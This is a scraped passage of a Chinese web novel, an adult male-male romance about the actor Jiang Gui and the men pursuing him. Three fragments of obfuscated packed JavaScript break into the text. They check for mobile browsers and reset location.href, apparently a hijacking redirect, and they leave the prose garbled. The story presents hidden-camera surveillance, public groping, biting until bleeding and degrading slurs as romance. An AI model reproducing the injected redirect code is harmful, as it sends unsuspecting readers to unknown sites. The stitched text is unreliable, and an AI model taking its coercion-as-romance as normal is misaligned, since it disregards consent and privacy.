或者说,姜瑰压根就不吃早餐。 他有着近乎恶劣的生活习惯和时间规律,也有着这些坏习惯反应在人体上的所有顽疾。 姜瑰用叉子惨无人道的屠杀一份面包,手段令人发指到杜温瑜都放下了咖啡。 “吃不惯?” “啊?没。” 杜温瑜:“下个角色是当屠夫?” 姜瑰:“……” 姜瑰从心里是真把杜温瑜当尊敬的老师的,再加上怕以后有求于人家,最后敢怒不敢言的硬是把面前的一份牛奶面包咽了下去,觉得身心都受到巨大的伤害。 May过来跟杜温瑜大致汇报今天的行程。 听完,杜温瑜问:“你今天什么安排?” 撑得难受的姜瑰对世界失去兴趣,双眼发直:“下午有个看秀吧,没什么重要的事。” 杜温瑜:“May说昨天你是打车过来的,你自己的车呢?” 姜瑰犹豫了一会儿:“送朋友了。” 他怕杜温瑜还要追问,已经在心里想好后续的解释,偏偏没有。 杜温瑜道:“刚好,我这儿有台新车,你开走。” 姜瑰愣了:“不行吧杜老师……我老收你东西……” 坐在面前的男孩其实是个全然不会掩盖自己的漂亮蠢货。 他的算计,他的心机,他的银浪,都在他眼底丝丝缕缕的随着跳动的眸光折射出来。 廉价又糜烂。 杜温瑜收回视线,温柔的露出个笑:“怎么这次回来和我生疏这么多,以前倒也没见你少收礼物,瑰瑰。” 姜瑰又有点脸红了。 在他的人生里有过很多种交换,但他从来没为杜温瑜付出过任何。 “不必有心理负担,只是一件普通礼物。” 杜温瑜起身,“走,带你去看看。” 能拿来送给姜瑰的车自然不会是普通的车。 通体耀石灰的车身流畅硬朗,车头特有的标识和宽体车身无声宣示着车辆的造价和出身。 虽然理智告诉他不能无功受禄,但姜瑰还是可耻的心动了。 他本来就是这样毫不坚定,格外容易被诱惑的人。 “国内就这一辆,应该够你出场。” 杜温瑜将车钥匙放在姜瑰手心,“当做是我对你的祝贺,最佳新人奖。” 姜瑰眸光一颤,第一时间竟感到的是心虚:“你在国外……也知道?” “只要是你的消息,杜先生都知道。” May突然插了一嘴。 姜瑰突然觉得这句话有点怪。 但还没等他细想,杜温瑜已经打断他:“我下午还有事,中午不留你吃饭了,需要May送你吗?” “不用不用。” 姜瑰摆摆手,拉开车门,又回过头,不太好意思扭捏了好一阵,“那个,杜老师……” “嗯?” 姜瑰头低着,露出一道从脖颈处蜿蜒向下的线条。 是一个很适合被训诫的角度。 姜瑰还是厚颜无耻连吃带拿的提出了自己的请求:“杜老师,我还想再出张EP……” 杜温瑜:“好。” 姜瑰呆了:“啊?” 杜温瑜眉眼依旧是温和的,姜瑰从没见过他着急或者任何其他神态变化的模样:“下下周过来取吧,我做好给你,包括后续宣传。” 跟杜温瑜要EP大碟这件事其实姜瑰已经想了很久了,但他一直没敢开口。 一是根据外界报价杜温瑜实在太贵太贵;二是不仅贵,杜温瑜还不一定会接。 但姜瑰现在的发展势头就是缺这一张能为他背书的EP,以此证明自己多栖的实力。 “谢谢,谢谢杜老师!” 姜瑰的快乐浓墨重彩的在他精致的眉眼上涂抹,看上去愈加勾人,“您的大恩大德,我将来一定报答您!” 杜温瑜细细念了一遍这两个字,突然问:“怎么报答?” 只是口头上先说说的姜瑰茫然片刻,随即立刻道:“怎么报答都行!您尽管开口,只要我有的!” “好。” 杜温瑜慢条斯理的笑了,“那我等你。” * 耀石色的迈巴赫开出了七号公馆别墅区。 独属于杜温瑜的劳斯劳斯座驾开门,男人平稳的坐上去,片刻后道:“May,你今天话很多。” 真正的杜温瑜和在姜瑰面前的杜温瑜仿佛两个人。 May打个寒颤:“我知道了,杜先生。” 杜温瑜不再说话,他打开车载影像——屏幕亮起,豁然是姜瑰那辆新迈巴赫车内的画面。 镜头被分成不同角度,无比清晰的照出姜瑰的眉眼,双腿和身体的每一部位。 那是一种毫无隐私,充满窥探的,凝视的镜头。 姜瑰浑然不觉。 他喜气洋洋的驾着这辆昂贵又奢靡的新车驶出绕城高架,又在一处停车。 车门打开,一个身着高定的高挑男人弯腰进来 那男人长得格外引人,眉目自傲凛然,发型和搭配都是时尚圈最顶的样式,是恃才傲物的那种角色。 随之。 镜头里的姜瑰主动凑上去,笑嘻嘻的吻了那个人。 原本只是轻盈的一个吻。 却在退回来时被像小动物般卡住下颌,重新拉至近前,狠狠惩罚般的重新吻下去。 直到姜瑰整个人都没什么力气的徒然推了男人半晌,才被宽恕似的放开。 后车门重新拉开。 两个人一前一后坐在了后面。 “你看,多不要脸的男孩。” 在劳斯劳斯死寂的车内,杜温瑜慢而轻的评价,“才刚从我这得了好处,转身就去跟另一个男人献媚。” 车内有跟着杜温瑜的司机,保镖,特助,没一个人敢开口。 “May,你刚刚不是想提醒他吗?” 杜温瑜温和的笑了笑,“你猜猜看,他会和其他男人在我的车里搞吗?” May整个人都僵住:“我错了,杜董,绝没有下次了。我向您保证。” 杜温瑜却似乎并没有要怪罪的意思。 他好脾气的摆了摆手,点开其中一块屏幕拉近。 姜瑰被吻肿的唇瓣清晰的出现在屏幕中央。 “他是个坏孩子啊。” 杜温瑜的声音宛如最标准的咏叹,“不值得你们为他求任何情,对不对?” 车内无人回应,幽静极了。 只有杜温瑜切换镜头,竟又重新回放了刚才姜瑰被吻得毫无廉耻的模样。 他将最清晰的角度放大,镜头广角下,连唇齿间的丝线和牵连而出的水痕都一览无余。 杜温瑜设置这一段不断往复回放,在水声和唇齿声的交错里,从车内的平板电脑上打开音乐制作系统。 隔音极好的车厢内如无人之境。 只有这段隐秘不堪的私人情事被软件纳入音轨,藏进旋律。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112389|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杜温瑜漫不经心的哼起一段奥地利民间古老的小调音阶,他的声音和才华都是上帝额外附加赠送给予的礼物,让这位从小就备受瞩目的天之骄子更加出众。 写完最后一节。 杜温瑜搁下笔:“你们说送他的这首歌起名什么呢?” 司机和保镖早已熟知杜温瑜表里不一的阴郁:“杜董您来决定。” “那不如就叫浪货之歌吧。” 杜温瑜从不抽烟饮酒,他为护养音色,在外人眼中几乎是个毫无缺点的完美主义。 此刻,他却在音轨里挑挑拣拣,下流不已:“你们看,这里面有跳单声,皮鞭声,震动声。” “还有银叫声,亲吻声,水声。” 杜温瑜微微叹了气,语气几乎是宠爱的,“是不是,好适合他。” * 姜瑰并不十分喜欢看秀。 这可能跟他真不是大户人家出身有关,他着实get不到所谓的最新风尚,反正从来都是别人给啥他就穿啥。 但偏偏看秀是他们这个圈子里众人经常性进行的娱乐活动。 而且除了自己去,还得带公司新人去。 姜瑰原本是去接姚正和新人的,没想到顺便能连巫南一起碰到。 反正新人隔着车窗八成也看到自己和巫南亲了。 姜瑰也没再避着,顺口一问:“你叫什么名字来着?” 新人皮肤很白,也瘦,眼睛看过来的时候又大又无辜,水灵灵的:“姜前辈您好,我叫季淮,季节那个季。” “哦,对,想起来了。” 姜瑰问姚正,“是不是就是公司推给巫导新戏的那个男孩儿?” 姚正还没答。 巫南先转过来看了姜瑰一眼:“你还知道你们公司推了个新人给我?” “那有什么不知道的?” 姜瑰有点莫名其妙,“不是你开口要的吗?” 巫南薄而冷的唇动了下,是个嘲讽的弧度:“这车是谁给你买的?” “呃……一个远方叔叔吧。” 姜瑰觉得很难一句两句解释清楚杜温瑜的事,“人还挺好的。” 巫南:“是挺好的。” 他冷道,“全球五辆,多少富豪名媛排着队想买一辆,你倒是已经先开上了。” 姜瑰:“……” 这人好像是生气了。 然而姜瑰压根没懂巫南有什么可生气的,不就是一辆车? 好在坐在后排的新人挺机灵:“姜前辈,真的太感谢您亲自带我,超感谢您,我都没有参加过这种场合,要不是您,我可能永远都没有这种机会。” 吃软不吃硬说的就是姜瑰。 “别这样说嘛。” 姜瑰在地库停好车,一边扭过头对新人笑,“我也当过新人啊,我那时候可比你现在难多了,幸好……” 季淮问:“幸好什么?” 幸好的经历不是什么能见得人的光彩事件。 就像他在大众的传言里那样又肮脏又乱七八糟。 姜瑰摸摸鼻子,没想好怎么接话。 “幸好。” 巫南却突然道,“一路贵人相助,是吗?” 车内的气氛已经不太对。 “欸各位各位,时间到了,咱们先下车,下车哈!” 姚正硬着头皮赶紧先下去,又跑到前排拉开姜瑰旁边的车门,使个眼色,“你没看他生气了吗?你就不能少说两句?!” 姜瑰好委屈:“我够老实了我已经没说话了……” 姚正:“那车哪来的?!” 姜瑰:“杜老师送的。” 姚正:“……” 姚正的眼前一黑又一黑,还没嘱咐下句,便听另一边传来个有些耳熟的声音。 “小瑰?” 那声音普通话标准,清朗,自带三分文气。 姜瑰下意识回头。 旁边车位,黑色宾利欧陆车门打开。 谢筠池携着姜佩玉走下车,微一扬眉,却是移动目光看向巫南:“巫导,久闻大名,这么巧,在这儿碰到了。” 8. 第八章 第八章 “确实巧。” 巫南伸手和谢筠池轻握一下,“这位是……” 谢筠池目光略过姜瑰,揽住姜佩玉:“我的订婚对象,也是姜家的长子。他家教严,外出很少,巫导大概没有见过。” 姜佩玉却主动笑了:“筠池,这你就不懂了。我和巫导在国外艺术展上见过好几次呢!” 姜佩玉扬起头:“巫导,记得我吗?” 巫南微一眯眼,细小的表情充分告诉姜瑰他其实并不记得。 但却开口道:“记得。” “你和几年前一点都没变。” 姜佩玉的声音和姜瑰很不一样,更加柔美,也单纯,“还是那么傲,难怪大家都说你难接触。” 巫南向来矜傲冷淡的表情里难得露出一丝笑意。 他伸手牵过姜瑰,向对面两个人道:“是么?你和姜瑰倒是很不一样。” 巫南抚着姜瑰的指尖一点一点慢慢滑,是个占有而暧昧的姿势。 “你比姜瑰活泼单纯。” 巫南道,“和谢大少的确很般配,祝福你们。” 姜瑰:“……” 躺着也中枪的姜瑰不太爽。 但对面的谢筠池似乎莫名其妙的比他更不爽,一双凤眼死死盯在巫南和姜瑰相牵的手上许久。 谢筠池突然道:“巫导和姜瑰的关系倒是比他在姜家说的好许多。” 巫南攥着姜瑰的手一紧,对上谢筠池的视线:“哦?” 谢筠池扯出一个颇为怪异的笑,像是饶有趣味,问向姜佩玉:“阿玉,你记不记得,前些天姜瑰回家吃饭时,跟叔叔阿姨说起他和巫导分毫不熟。” 这只是饭桌上的一些闲话,没人会特别去记。 姜佩玉自然也是。 他有些茫然,但下意识顺了谢筠池的意:“对诶,小瑰,没想到你和巫导关系这么好!” 姜瑰:“……” 谢筠池锋利如刀的目光狠狠切割过来,像带了怨恨似的充满凉意。 接着谢筠池一句一字的把两人床上姜瑰说过的话念了出来:“是啊,巫导,小瑰那次在家宴说起你,特意说你人好,工作敬业,只是他和你没什么关系,连朋友都算不上。” 巫南攥着姜瑰的手指骤然绷紧,骨缝的指节登时卡在姜瑰手腕上,疼得他低低轻呼了声。 下一秒巫南扣紧姜瑰的手,强迫他靠近自己,接着另一只手在姜瑰腰间一托,将他彻底拉进了自己怀里。 两人身高差明显。 巫南低头,吐息正在姜瑰耳畔:“瑰瑰,是谢总说的这样吗?” 这个姿势太奇怪了。 姜瑰甚至感觉巫南的手在似有若无的从腰后扯开过于宽松的衬衫。 或许由于停车场温度偏低的原因,那手的肌肤给姜瑰一种蛇类游动的阴凉感,黏腻而不适。 两人之间几乎没有任何距离,姜瑰被巫南圈在怀里。 还未等反应过来,那只侵犯的手就如此刻意的,甚至光明正大的,在众人视线之内,却又隐蔽于身体之间的—— 由后向前摸了姜瑰。 连着两下。 隐晦又威胁。 姜瑰浑身一僵,在地下停车场内的灯光掩映下面色显得格外苍白。 巫南面上却依旧是不动声色的冷淡,他甚至主动低了头,更近的凑在姜瑰脸侧:“怎么不说话?” 姜瑰再没节操也想不到巫南能疯成这样,他陡然按住男人的手,身形近乎单薄的晃了晃:“我胡说的!” “胡说了什么呢?” 巫南抽出的手上带了抹湿意。 谢筠池目光冰冷的投射过来。 巫南对上他的视线,将那抹湿意慢条斯理的在自己的西装裤上抹净了,又亲了亲姜瑰的耳尖:“不要怕,瑰瑰,我给你做靠山。” 远处狗仔躲在停车柱后的闪光灯明明灭灭亮个不停。 姜瑰心如死灰,终于自暴自弃:“是,我和他在一起了。” 他向前迈了一步,破罐子破摔的不敢看谢筠池,只对姜佩玉说:“在家里没敢说,哥,我和巫南谈了,刚谈,没多久。你随便告不告诉你爸妈吧。” 姜佩玉也呆住了。 他睁圆眼睛看看巫南,又看看姜瑰,小声的震撼道:“小瑰,你怎么谈到他的,当时在国外好多人追他的……” 姜瑰:“……” “姜瑰追的我。” 对比刚才的阴郁,现在巫南神色可以说是和颜悦色了。 他甚至给了姜佩玉一个笑,“瑰瑰那时候很主动的。” 姜佩玉掩住嘴,忍不住的和身边人分享自己的惊讶:“筠池,天哪,小瑰竟然和巫导在一起了,简直不敢相信,你看他们好甜蜜!” 他比谢筠池矮许多,自然没看到身边人眼底的寒意。 半晌。 谢筠池笑了一下:“是吗?” “当然是呀!” 姜佩玉拉着谢筠池的手,“等回去我要把这个消息告诉爸妈,巫导这么有名,他们一定会很支持。” 姜瑰对谢筠池看过来的目光视而不见,直到导引员带着前面两个人渐渐走远。 狗仔的镜头还架在远处。 姜瑰回头扬手,对着巫南清隽英俊的脸就是一个巴掌。 “啪——!” 清脆的声响。 “你有病吧?!” 姜瑰破口大骂,漂亮的脸在灯下显得鲜活又生动,“巫南,你要干什么?!” 巫南却轻而易举抓住了姜瑰的手。 他的大手能全然将姜瑰葱白的手指握在掌心里,然后带近唇边,吻了一口:“打够了没,要不要再来一巴掌。” 姜瑰:“……” 姜瑰气得去抽自己的手,没抽出来:“巫南!你神经病!” “和你谈出神经病不是很正常吗?” 巫南一手圈着姜瑰的腰,另一手握着他的手,低头在姜瑰唇上再次亲吻,“你不官宣,不承认,你有在意过我吗?” 随着一次又一次的身体接触和亲吻,巫南眼底令姜瑰无比熟悉的欲色渐渐泛了出来。 巫南哑着声音:“还打不打?打爽了吗?” 姜瑰:“……” 巫南喉结滚了滚:“打爽了让我亲两口,乖,手都打红了。” 姜瑰要疯了,他拉不动巫南,更克制不了他的动作:“有人……你变态,有人啊!” “没事,我买照片。” 巫南搂着怀里的人,吻过姜瑰扇他巴掌扇红的手指,脸颊,耳朵。 好半晌,才仍不餍足的闭了闭眼,勉强恢复了几分清明:“今晚回我那儿好吗?” 姜瑰推了他一把:“我有事。” 巫南揽过姜瑰:“今晚我要定跨年档的剧本,里面有个很合你的角色,来陪我,好不好?” 姜瑰:“……” * 秀场是H家的冬季超季,模特个个身高腿长,气质卓越。 时尚这个圈好像一直自带光环,高高在上,连艺人都喜欢用看秀来标榜身价,显示自己颇具时尚度。 很多年前姜瑰也曾经为第一次收到看秀邀请而沾沾自喜过,那时候他在公司的新人训练营苦苦挣扎,每天练功的时长大于一切,可却看不到任何回报。 后来他学会走歪路。 人呐,一旦走歪了路,就的确很难回去了。 姜瑰的位置是主办方特邀的首席排,在座的不是国内有名的资本商就是内地的主负责人或当红艺人。 按理说以他目前的身份其实坐不到这么前,收到邀请卡的时候,姜瑰还质疑过一次,但邀请方却非常肯定位置没有问题。 到现场落座才知道,巫南就在他旁边。 姜佩玉和谢筠池坐在对面的第一排,隔着T台正好斜着相对。 姜瑰早已经对看秀兴致缺缺,可旁边又有很多镜头,他既不能抓耳也不能挠腮。 忍了又忍。 姜瑰起身,对旁边的工作人员示意问了洗手间的位置,堂而皇之的溜了出去。 不坐在里面端着的感觉真好。 姜瑰拐进洗手间,对着镜子拨拨头发抓抓衣服,看着灯光下光鲜亮丽的漂亮脸蛋,觉得自己又行了。 洗手间内四下无人,能用来彰显身份的大秀原本就甚少有人会中途出来。 姜瑰整好领带,准备抽根烟打发打发时间再出去。 他刚从烟匣里摸出卡比龙,洗手间的门就从外侧被推开了。 姜瑰点烟的手一顿,抬眼碰上谢筠池看过来的视线。 “你抽烟?” 谢筠池开口问的很条件反射,随即眉眼沉了下来,“你以前说你从来不吸烟。” 姜瑰靠在瓷面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜瑰踮起脚,轻声对谢筠池道:“谢大少是想知道,是你主动给巫导腾了地方……还是巫导做了三,对不对?” 谢筠池猛然后退一步:“你胡言乱语什么?!” 姜瑰没来得及答话。 洗手间外侧的门再次被推响。 谢筠池神色一变,带着姜瑰随手拉开一间隔间,重重反锁了门。 “嚯。” 姜瑰也不挣扎,饶有兴致笑眯眯看着谢筠池,“谢总,你好熟练哦。” 谢筠池却是此生第一次做这种勾当。 高档香薰味弥散的洗手间内来了新人。 男士皮鞋落地声响起,两人在外攀谈。 “看到刚刚停车场的事儿了吗?” “巫南和姜瑰那个?看到了,擦,吻得太劲爆了!感觉下一秒要干起来了。” “巫导家里挺有背景啊,姜瑰那小狼比甩他巴掌一点没犹豫,牛逼啊!” “你别说,姜瑰那模样太有味儿了,搔得不行,不知道巫导啥时候厌了他,真想尝尝那浪货,啧!” “别说了,那小烧货一路就这么爬上来的,等着看吧!这种烂人八成没有好结果。” “可惜巫导把照片买了,真想传出去让大家看看这贱人。” “可别!咱们惹不起巫南,快走吧。” 洗手间再次平静下来。 姜瑰被谢筠池按在隔断的墙面上,突然一勾嘴角,抬头对面前的男人轻声道:“哎……你那个了。” 谢筠池眼睛泛出红:“他们那样说,你不生气?” “随便,意银我的人太多了。” 姜瑰试着伸手去推谢筠池,“能先放开我不?” 谢筠池一动未动。 姜瑰有点烦了:“这里面空调太高了我热你能不能……” 谢筠池却俯身低头,猝然吻住了姜瑰喋喋不休的唇。 这个吻很深,夹杂了许多卑劣又不堪言的情绪,唇舌交缠。 姜瑰愣了。 许久。 谢筠池才松开姜瑰,他眸色动了动:“你……” “停。” 姜瑰打断他,“谢筠池,你这样,我是不是要理解成你是想要和我偷情?” 谢筠池神色难看:“偷情?” “你身边有姜佩玉,我身边有巫南。” 姜瑰清澈的杏眼映出谢筠池的模样,“我们这是互……三吗?” 9.第九章 第九章 哪怕谢筠池这种见惯各种场面的人,也被姜瑰如此没底线的话问得噎了半晌。 过了一会儿。 他才倏然松开手,表情里皆是嘲讽:“没搞错吧?姜瑰,你有哪点比得上你哥,你也配?” “我不配啊。” 姜瑰慢条斯理的整理好被弄皱的袖口,幽幽点了烟盒里的最后一根烟。 他抬起头,将烟毫不客气的吐在了谢筠池脸上。 “谢大少,我可比不上姜佩玉纯洁,我也没他那种艺术天赋和温柔有礼。” 姜瑰转身推门,朝谢筠池露了个薄淡的笑意,“我是个俗人,就爱钱。” “你现在不给钱,就离我远点。” 隔间距离洗手间的地面有一个不高不矮的坡度。 谢筠池甚少吸烟,却被姜瑰刚才扑面而来的尼古丁味呛得仿佛胸腔里被硬生生钻进了一把火,烧得他难耐不已。 眼前叼着烟走出隔间的身影单薄纤细,极其没有保守感的穿一件腰侧镂空的米棕色半袖针织。 裤子是低腰的,下台阶时故意露出一截一碰就能被折断的柔白细腰。 他在床上掐过那腰很多次,尤其是送那人即将去的时候,无论是神情还是腰间的颤抖都能勾得他欲生欲死。 难道巫南也会这样对他吗? 能满足他吗? 谢筠池陡然深吸口气。 姜瑰甚至连反应都没反应过来,就被身后男人的一只手带住腰间生拉硬拽回了隔间里。 宛如一只刚刚从洞穴里出逃的小动物,兴冲冲的迈开爪,就被饥渴的兽类重新叼了回去。 谢筠池从后狠狠捏住姜瑰双腕,从头顶翻上去按住,向前一沉,抵在他颈侧:“你和他睡了吗?!” “?” 姜瑰被撞了个晕头转向东倒西歪。 谢筠池低头,犬齿的位置咬住怀中人的颈侧。 下一秒。 他感觉到了姜瑰的颤抖。 身不由己的,不受自己支配的,生理性的反应。 相伴许久,两个人到底是有些无法言说又暧昧的隐晦乐趣。 谢筠池的声音在这时终于奇异的找回了几分温情。 他问得可以说缱绻:“你乖,瑰瑰,说点我想听的,我给你钱。” “睡了。” 声音绵软而平淡,顿了顿,又补一句,“怎样呢?” 怀里的人还在他臂弯里战栗,被他掌控着所有的触感—— 却还是不知死活的不肯悔改。 在皮肤不断摩挲的犬齿被放纵自由,于是深而狠的刻进细嫩皎白的颈侧,登时就沁了血。 姜瑰疼得痛呼一声,又被男人的大掌捂住嘴。 圆而明亮的杏眼一瞬间就含了泪,像稚童般不可置信又脆弱的在无法挣脱的怀抱里不断摇头。 “他知道你那些癖好吗?” 男人用唇舌一点一点无比细致而耐心的舔净了白皙肌理上的血痕,像哄孩子一般将人重新抱紧怀里。 “他知道你喜欢又重又琛。” 谢筠池自己也没想到有朝一日能说出这些话,但他确实说出来了。 看着姜瑰瑟缩跳动的眸光,他近乎恶劣的开口,“还是知道你喜欢的姿势?” “他知道你喜欢被狠狠打屁股吗,宝贝?” 颈侧犬齿的出血点又渗了几颗血珠。 谢筠池用唇齿含去,滚进喉舌品尝殆尽。 他了解姜瑰的体力。 在怀中人已经没力气挣脱,只能靠在他怀里轻抖着喘气时,松手改为托举,从腰位承了姜瑰整个人的力。 姜瑰的身体是从骨子里带的不好,小时候被姜家当真儿子养得细致,后面又被谢筠池接手,除了本身的种种恶习,养得可谓金贵。 但先天不足无法弥补。 被弄了一通姜瑰浑身都软得都站不起来,他不得不抓着男人的手当扶手用,喉间的喘音沉而重,听上去让人不适。 谢筠池到底心软了。 他彻底托住姜瑰入怀,脉络分明的大手从背后一遍又一遍往下滑。 “不着急,乖宝,慢慢呼吸……我们不急,好棒。” 谢筠池下意识伸手去摸,他西装内兜里竟然还有姜瑰哮喘的药,“张嘴,乖宝。” 姜瑰无力的扶着谢筠池的手,听话的张嘴。 唇是泛着白的。 舌却殷红,尤其是舌尖,是瑰丽的一点深红色。 谢筠池熟练的给姜瑰喷好药,然后无比自然的低头亲了亲他的唇:“好了,瑰瑰不怕,来,我抱。” 姜瑰微阖着眼,乖巧的任他抱了。 洗手间外面一波人来了又走。 姜瑰到底缓了回来,惨白的面上重新染了几分血色。 他松开谢筠池的手,低头瞥见地上刚刚自己抽了一半的烟。 谢筠池又主动过来拉他手指,吻他耳朵:“瑰瑰,医生跟你说过要禁烟禁酒,你还跟他保证过。记不记得?” 姜瑰却说:“谢筠池,巫南比你年轻。” 姜瑰:“比你爽。” 拥抱的动作僵住。 谢筠池从小一帆风顺到大,是站在最高处掌握权势的人物。 他风光不已的一生里,从没有受过这种羞辱。 于任何一个男人而言,这都是最无法忍受的耻辱。 谢筠池问:“你说什么?” “这也不算是最主要的吧。” 姜瑰疲惫的叹气,“最主要的是我不乐意和姜佩玉抢东西。” 姜瑰道:“他爱要的,我就不要了。” 东西。 不要。 谢筠池从来都知道姜瑰这人重利爱钱,但头一次听他真切说出口的时候,竟恍然察觉还是带痛。 不应该的。 面前的人薄情寡性,自私自利,忘恩负义。 他低贱,搔浪,下流又放荡。 当时姜瑰找上门来的时候,他只是玩玩。 玩玩而已。 谢筠池掐住姜瑰的下颌逼他抬头:“瑰瑰,我教你那么多东西,唯独忘了教你,别太毫无廉耻。” 姜瑰探出舌,舌尖如蛇尾一般绕着他唇齿的形状逡巡一圈。 “那让谢大少失望了,这一点上我可能自学成才吧。” 谢筠池心里的火烧得他快要沸腾,说不出是恨是怨。 半晌,他松了手:“姜瑰,你最好祈祷有朝一日别重新求到我这里。” “我真的会让你生不如死。” * 上流社会的光鲜亮丽是张虚伪的画皮,表面看着完美无缺,里面大概早已经烂了。 就像两人刚刚明明在洗手间隔间里闹得格外难堪,出门却还是要在秀场指引员的带领下回位。 很寸的是——还没等姜瑰和谢筠池走过主路,在T台左右侧各路分开时。 他迎面撞上了巫南。 谢筠池走在姜瑰身后,巫南迎面而来。 姜瑰:“……” 他敏捷的往旁边一侧身,幻想两个身高一米九的男人狠狠撞上,最好表演一个现场消消乐。 很可惜,幻想没有实现。 巫南和谢筠池狭路相逢。 “谢总。” “巫导。” 巫南当着谢筠池的面伸手拉姜瑰入怀,目光在他唇上微停几秒:“饿了吗?想不想吃开心果慕斯。” “他坚果过敏。” 谢筠池走在旁边,状似不经意开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132341|179940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫南动作一顿:“瑰瑰?” 时间紧迫,姜瑰来不及换内搭,只匆匆披了件能遮住领口和脖颈的衬衫。 “他听我哥胡说的。” 姜瑰胡乱敷衍,“我就是不爱吃那个味儿,家里老让吃,很烦。” 巫南冷然看向谢筠池,然后亲亲姜瑰发顶:“那吃芒果好吗?我让他们送过来,再坚持一下,快结束了。” “嗯嗯。” 周围看过来的视线太多,姜瑰着实没什么当着人秀幸福的嗜好。 他裹紧衬衫,从巫南怀里溜了。 巫南和谢筠池在原地留了片刻。 “谢总似乎对姜瑰的关注度有些过高。” 最后一场内衣秀的音乐声乍响,巫南开口。 谢筠池不急不缓应道:“只是觉得小巫导初回国乍到,选人还是擦亮眼睛,多看再定。” “我这人不爱听指导。” 巫南扯了下嘴角,“倒是谢总,既然选了姜家大少爷联姻,就离瑰瑰远点,他看上去不太喜欢你。” 谢筠池“哦”了声:“小巫导看上去很自信。” “为什么不自信?” 巫南道,“他要男主,我给他男主剧本,他要奖,我捧他拿奖。” “谢总,你说,他离得开我吗?” * 巫南一直到大秀快结束才回来。 最后是个传统的合影环节。 姜瑰折腾一天,着实懒得去了,便转身打发跟过来的新人去露个脸:“那个季……季淮,你让老姚带你过去,给你安排个位置。” 季淮白生生的嫩脸写满惊喜,小心翼翼的确认:“真的吗?” “这有什么真不真的。” 姜瑰摆摆手,正要起身跟巫南回去,却见秀场主办亲自过来请巫南一起过去拍照。 这种人情不好不给。 巫南应了,回头却见姜瑰还是一点跟着走的意思都没,神情登时冷了。 他朝季淮道:“既然你师哥不去,一会儿直接站我旁边就行。” 一个公司师哥师弟算是正常称呼,只是从来没人敢这样叫姜瑰。 姚正忙着和时尚圈里的人应酬。 季淮一路碎步跟在巫南身边,又惊又喜的四下看来看去:“巫导真的谢谢您,没想到您人这么好,我本来好怕一会儿过去没位置……谢谢您让我站在您旁边。” 巫南余光看到姜瑰。 他起了身,伸手摸摸脖颈右侧,皱了眉,像是不太舒服。 巫南脚步停下来。 季淮顺着他目光看过去,细声道:“姜前辈可能脖子那儿受伤了。” 巫南一怔:“什么?” 季淮像是犹豫了下:“刚刚我坐在姜前辈后面,他衬衫下脖颈侧面靠蝴蝶骨那边有一个咬痕,像是虎齿咬的,很深,出了血。” 大概是巫南的神情愈加阴沉。 季淮声音越来越小,直到断断续续:“刚刚我们过来的时候,我还看到谢氏控股的谢大少……” 巫南眉目幽深,瞳孔深处却像有鬼火跳动:“谢筠池?” “嗯……” 约莫是被巫南吓得,季淮整个人都缩了缩,“刚刚谢大少过去给姜前辈送,送创口贴,还说了几句话。” “……是么?” 良久。 巫南竟然笑了。 他遥遥看了眼姜瑰。 那漂亮又耀眼的妖精没有丝毫在原地等他的打算,转头就走,无情又薄幸。 巫南收回视线,竟还能平稳的对季淮吐出两个字:“谢谢。” 季淮小小张嘴:“谢……巫导谢我什么?” “谢谢你让我知道。” 巫南慢声道,“别人让他疼,那我也应该让他疼。” 10.第十章 第十章 姜瑰在车上等了挺久才见巫南带着季淮出来。 秀场四周开阔,晚间降温,巫南的风衣披在季淮身上。 姚正跟着上车:“瑰瑰,你跟我们一起回公司吗?” “他跟我回去。” 巫南语气冷淡,上了副驾。 姜瑰想起巫南说的新戏,点点头:“我跟他回去吧,先把你们送回公司。” “谢谢姜前辈。” 季淮声音甜甜的,到公司大门前本本分分下车,“巫导,谢谢您的衣服,我洗干净送还给您可以吗?” 巫南垂眼瞥向车窗外:“我从不要别人穿过的衣服,扔了吧。” 季淮愣了:“这……” 季淮眼睛红红的望向姜瑰:“姜前辈……” “你要不喜欢卖了也行?” 姜瑰很负责任的出主意,“他这衣服挺贵的,卖了买个包。” 有理有据,季淮噎住了。 姚正本来想跟姜瑰说下治疗时间,当着其他人的面没能开口,只得隐晦道:“姜瑰,你回去以后看看手机,有工作。” “知道了。” 姜瑰调转车头,载着巫南往他房子的方向驶去。 车上的重低音大概是杜温瑜特别调配过的,他在这方面格外讲究,舒缓的音乐流动起来别有味道。 现在正在播放的是杜温瑜三年前写给姜瑰的第一张曲子。 那时候姜瑰还很年轻,嗓音更青涩,在朦朦胧胧的乐曲中唱小男孩的情歌。 巫南突然问:“你根本没注意到我把衣服给他穿了,是么?” “啊?” 姜瑰把音乐放小声些,“这不是很正常,他那一身怪冷的。” 巫南扯了下嘴角:“姜瑰,你是很大方。” 姜瑰:“这没什么可介意吧?” 巫南:“那我把你的男一号也给他,你介意吗?” “刺啦——” 一声长长的刹车声。 A市夜晚的三环路不堵,寂静的路灯将这辆价值百万的迈巴赫身影拉长。 姜瑰扭头问:“你什么意思?” “他说他愿意用所有一切来换自己出名。” 